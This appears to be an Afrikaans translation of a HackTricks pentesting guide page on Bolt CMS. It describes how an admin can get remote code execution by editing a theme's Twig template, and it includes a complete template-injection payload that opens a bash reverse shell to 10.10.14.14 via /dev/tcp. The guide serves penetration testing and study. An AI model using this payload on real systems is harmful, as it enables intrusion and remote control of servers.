hacktricks/network-services-pentesting/pentesting-web/bolt-cms.md

49 lines
3.3 KiB
Markdown

# Bolt CMS
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## RCE
Na aanmelding as admin (gaan na /bot om die aanmeldingsvenster te sien), kan jy RCE kry in Bolt CMS:
* Kies `Configuration` -> `View Configuration` -> `Main Configuration` of gaan na die URL-pad `/bolt/file-edit/config?file=/bolt/config.yaml`
* Kontroleer die waarde van die tema
<figure><img src="../../.gitbook/assets/image (768).png" alt=""><figcaption></figcaption></figure>
* Kies `File management` -> `View & edit templates`
* Kies die tema basis wat in die vorige stap gevind is (`base-2021` in hierdie geval) en kies `index.twig`
* In my geval is dit in die URL-pad /bolt/file-edit/themes?file=/base-2021/index.twig
* Stel jou lading in hierdie lêer via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), soos: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
* En stoor veranderinge
<figure><img src="../../.gitbook/assets/image (945).png" alt=""><figcaption></figcaption></figure>
* Maak die cache skoon in `Maintenance` -> `Clear the cache`
* Besoek weer die bladsy as 'n gewone gebruiker, en die lading behoort uitgevoer te word
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>